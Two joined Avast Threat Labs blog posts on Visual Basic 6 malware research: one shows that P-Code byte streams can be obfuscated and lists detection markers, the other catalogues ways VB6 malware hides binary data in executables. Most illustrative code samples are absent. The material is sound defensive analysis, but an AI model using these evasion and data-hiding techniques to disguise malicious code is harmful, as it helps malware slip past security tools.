
One of the code formats that has not seen common obfuscation has been the Visual Basic 6 P-Code byte streams. This is a proprietary opcode set, in a complex file format, with limited tooling available to work with it. 

In the course of exploring this instruction set certain questions arose:

• Can VB6 P-Code be obsfuscated at the byte stream layer? 
• Has this occurred in samples in the wild?
• What would this look like?
• Do we have tooling capable of handling it?

Background

Before we continue, we will briefly discuss the VB6 P-Code format and the tools available for working with it.

VB6 P-Code is a proprietary, variable length, binary instruction set that is interpreted by the VB6 Virtual Machine (msvbvm60.dll).

In terms of documentation, Microsoft has never published details of the VB6 file format or opcode instruction set. The opcode handler names were gathered by reversers from the debug symbols leaked with only a handful of runtimes. 

At one time there was a reversing community,  vb-decompiler.theautomaters.com, which was dedicated to the VB6 file format and P-Code instruction set. Mirrors of this message board are still available today [1]. 

On the topic of tooling the main disassemblers are p32Disasm, VB-Decompiler, Semi-Vbdecompiler and the WKTVBDE P-Code debugger.

Of these only Semi-Vbdecompiler shows you the full argument byte stream, the rest display only the opcode byte. While several private P-Code debuggers exist, WKTVBDE is the only public tool with debugging capabilities at the P-Code level. 

In terms of opcode meanings. This is still widely undocumented at this point. Beyond intuition from their names you would really have to compile your own programs from source, disassemble them, disassemble the opcode handlers and debug both the native runtime and P-Code to get a firm grasp of whats going on. 

As you can glimpse, there is a great deal of information required to make sense of P-Code disassembly and it is still a pretty dark art for most reversers. 

Do VB6 obfuscators exist?

While doing research for this series of blog posts we started with an initial sample set of 25,000 P-Code binaries which we analyzed using various metrics. 

Common tricks VB6 malware uses to obfuscate their intent include:

• junk code insertion at source level
• inclusion of large bodies of open source code to bulk up binary
• randomized internal object and method names 
  • mostly commonly done at pre-compilation stage
  • some tools work post compilation.
• all manner of encoded strings and data hiding
• native code blobs launched with various tricks such as CallWindowProc

To date, we have not yet documented P-Code level manipulations in the wild. 

Due to the complexity of the vector, P-Code obsfuscations could have easily gone undetected to date which made it an interesting area to research. Hunting for samples will continue.

Can VB P-Code even be obfuscated and what would that look like?

In the course of research, this was a natural question to arise.  We also wanted to make sure we had tooling which could handle it. 

Consider the following VB6 source:

The default P-Code compilation is as follows:

 An obsfuscated sample may look like the following:

From the above we see multiple opcode obfuscation tricks commonly seen in native code.

It has been verified that this code runs fine and does not cause any problems with the runtime. This mutated file has been made available on Virustotal in order for vendors to test the capabilities of their tooling [2]. 

To single out some of the tricks:

Jump over junk:

 Jumping into argument bytes:

At runtime what executes is:

Do nothing sequences:

 Invalid sequences which may trigger fatal errors in disassembly tools:

Detection

The easiest markers of P-Code obfuscation are:

•     jumps into the middle of other instructions
•     unmatched for/next opcodes counts
•     invalid/undefined opcodes 
•     unnatural opcode sequences not produced by the compiler
•     errors in argument resolution from randomized data 

Some junk sequences such as Not Not can show up normally depending on how a routine was coded.

This level of detection will require a competent, error-free, disassembly engine that is aware of the full structures within the VB6 file format. 

Conclusion

Code obfuscation is a fact of life for malware analysts. The more common and well documented the file format, the more likely that obfuscation tools are wide spread in the wild.

This reasoning is likely why complex formats such as .NET and Java had many public obfuscators early on.

This research proves that VB6 P-Code obfuscation is equally possible and gives us the opportunity to make sure our tools are capable of handling it before being required in a time constrained incident response. 

The techniques explored here also grant us the insight to hunt for advanced threats which may have been already using this technique and had flown under the radar for years.

We encourage researchers to examine the mutated sample [2] and make sure that their frameworks can handle it without error.

References

[1] vb-decompiler.theautomaters.com mirror
http://sandsprite.com/vb-reversing/vb-decompiler/

[2] Mutated P-Code sample SHA256 and VirusTotal link
a109303d938c0dc6caa8cd8202e93dc73a7ca0ea6d4f3143d0e851cd39811261

The post VB6 P-Code Obfuscation appeared first on Avast Threat Labs.

Overview

This is part one in a series of posts that focus on understanding Visual Basic 6.0 (VB6) code, and the tactics and techniques both malware authors and researchers use around it. 

Abstract 

This document is a running tally covering many of the various ways VB6 malware can embed binary data within an executable. 

There are 4 main categories: 

• string based encodings 
• data hidden within the actual opcodes of the program 
• data hidden within parts of the VB6 file format  
• data in or around normal PE structures 

Originally I was only going to cover data hidden within the file format itself but for the sake of  documentation I decided it is worth covering them all.  

Data held within the file format is a special case which I find the most interesting. This is because it can be interspersed within a complex set of undocumented structures which would require  advanced knowledge and intricate parsing to detect. In this scenario it would be hard to determine where the data is coming from or to even recognize that these buffers exist.  

Resource Data 

The first technique is the standard built into the language itself, namely loading data from the  resource section. VB6 comes with an add-in that allows users to add a .RES file to the project.  This file gets compiled into the resource section of the executable and allows for binary data to be  easily loaded. 

This is a well known and standard technique. 

Appended Data 

This technique is very old and has been used from all manner of programming language. It will be mentioned again for thoroughness and to link to a public implementation [1] that allows for  simplified use. 

Hex String Buffers 

It is very common for malware to build up a string of hex characters that are later converted back to binary data. Conversion commonly includes various text manipulations such as decryption or  stripping junk character sequences. Extra character sequences are commonly used to prevent  automatic recognition of the data as a hex string by AV.  

In the context of VB6, there are several limitations. The IDE only allows for a total of 1023  characters to be on a single line. VB’s line continuation syntax of &_ is also limited to only 25  lines. For these reasons you will often see large blocks of data embedded in the following format: 

In a compiled binary each string fragment is held as an individual chunk which is easily  identifiable. A faster variant may hold each element in a string array so conglomeration only  occurs once.  

This is a well known and standard technique. It is commonly found in VBA, VB6 and malware  written in many other languages. Line length limitations can not be bypassed through command  line compilation. 

Binary Data Within Images 

There are multiple ways to embed lossless data into image formats. The most common will be to  embed the data directly within the structure of a BITMAP image. Bitmaps can be held directly  within VB6 Image and Picture controls. Data embedded in this manner will be held in the .FRX  form resource file before compilation. Once compiled it will be held in a binary property field for  the target form element. Images created like this can be generated with a special tool, and then  embedded directly into the form using the IDE. 

The following is a public sample[2] of data being extracted from such a bitmap 

Extracted images will display as a series of colored blocks and pixels of various colors. Note that  this is not stenography. 

Many tools understand how to extract embedded images from binary files. Since the image data  still contains the BITMAP header, parsing of the VB6 file format itself is not necessary. This  technique is public and in common use. The data is often decrypted after it is extracted. 

Chr Strings 

Similar to obfuscations found in C malware, strings can be built up at runtime based on individual  byte values. A common example may look like the following: 

At the asm level, this serves to break up each byte value and puts it inline with a bunch of  opcodes preventing automatic detection or display with strings. For native VB6 code it will look  like the following: 

In P-Code it will look like the following: 

This is a well known and standard technique. It is commonly found in VBA as well as VB6  malware. 

Numeric Arrays 

Numeric arrays are a fairly standard technique in malware that are used to break up the binary  data amongst the programs opcodes. This is similar to the Chr technique but can hold data in a  more compact format. The most common data types used for this technique are 4 byte longs, and 8 byte currency types. The main advantage of this technique is that the data can be easily  manipulated with math to decrypt it on the fly. 

Native: 

P-Code: 

Native: 

P-Code: 

This technique is not as popular as the others, but does have a long history of use. I think the first place I saw it was in Flash ActionScript exploits. 

Form Properties 

Forms and embedded GUI elements can contain compiled in data as part of their properties. The  most common attributes used are Form.Caption, Textbox.Text, and any element’s. Tag property. 

Since all of these properties are typically entered via the IDE, they are usually found to contain  ASCII only data that is later decoded to binary. 

Developers can however embed binary data directly into these properties using several  techniques.  

While there is way to hexedit raw data in the .FRX form resource file, this comes with limitations  such as not being able to handle embedded nulls. Another solution is inserting the data post  compilation. With this technique a large buffer is reserved consisting of ASCII text that has start  and end markers. An embedding tool can then be run on the compiled executable to fill in the  buffer with true binary data.  

Using form element properties to house text based data is a common practice and has been seen  in VBA, VB6, and even PDF scripts. Binary data embedded with a post processing step has been observed in the wild. In both P-Code and Native, access to these properties will be through COM object VTable calls.  

From the Semi-VBDecompiler source, each different control type (including ActiveX) has its own  parser for these compiled in property fields. Results will vary based on tool used if they can display the data. Semi-Vbdecompiler has an option to dump property blobs to disk for manual exploration. This may be required to reveal this type of embedded binary data. 

UserControl Properties 

A special case for the above technique occurs with the built in UserControl type. This control is  used for hosting reusable visual elements and in OCX creation. The control has two events which  are passed a PropertyBag object of its internal binary settings. This binary data can be easily set  in the IDE through property pages. This mechanism can be used to store any kind of binary data  including entire file systems. A public example of this technique is available[3]. Embedded data will be held per instance of the UserControl in its properties on the host form. 

Binary Strings 

Compiled VB6 executables store internal strings with a length prefix. Similar to the form properties trick, these entries can be modified post compilation to contain arbitrary binary data. In order to discern these data blobs from other binary data, in depth understanding and complex  parsing of the VB6 file format would have to occur.  

The longest string that can be embedded with this technique is limited by the line length in the  IDE which is 2042 bytes ((1023 bytes – 2 for quotes) *2 for unicode).

VB6 malware can access these strings normally with no special loading procedure. As far as its  concerned the source was simply str = “binary data”. 

The IDE can handle a number of unicode characters which can be embedded in the source for compilation. Full binary data can be embedded using a post processing technique. 

Error Line Numbers 

VB6 allows for developers to embed line numbers that can be accessed in the event of an error to  help determine its location. This error line number information is stored in a separate table outside of the byte code stream.  

The error line number can be accessed through the Erl() function. VB6 is limited to 0xFFFF line  numbers per function, and line number values must be in the 0-0xFFFF range. Since the size of  the embedded data is limited with this technique, short strings such as passwords and web  addresses are the most likely use.

When the code below is run, it will output the message “secret” 

Advanced knowledge of the VB6 file format would be required in order to discern this data from  other parts of the file. Embedded data is sequential and readable if not encoded in some other  way. 

Function Bodies 

The AddressOf operator allows VB6 easy runtime access to the address of a public function in  a module. It is possible to include a dummy function that is filled with just placeholder instructions to create a blank buffer within the .text section of the executable. This buffer can be easily loaded  into a byte array with a CopyMemory call. A simple post compilation embedding could be used to  fill in the arbitrary data.

For P-Code compiles, AddressOf returns the offset of a loader stub with a structure offset. P-Code compiles would require several extra steps but would still be possible.  

References 

[1] Embedded files appended to executable – theTrik:
https://github.com/thetrik/CEmbeddedFiles 

[2] Embedding binary data in Bitmap images – theTrik: 
http://www.vbforums.com/showthread.php?885395-RESOLVED-Store-binary-data-in UserControl&p=5466661&viewfull=1#post5466661 

[3] UserControl binary data embedding – theTrik:
https://github.com/thetrik/ctlBinData

The post Binary Data Hiding in VB6 Executables appeared first on Avast Threat Labs.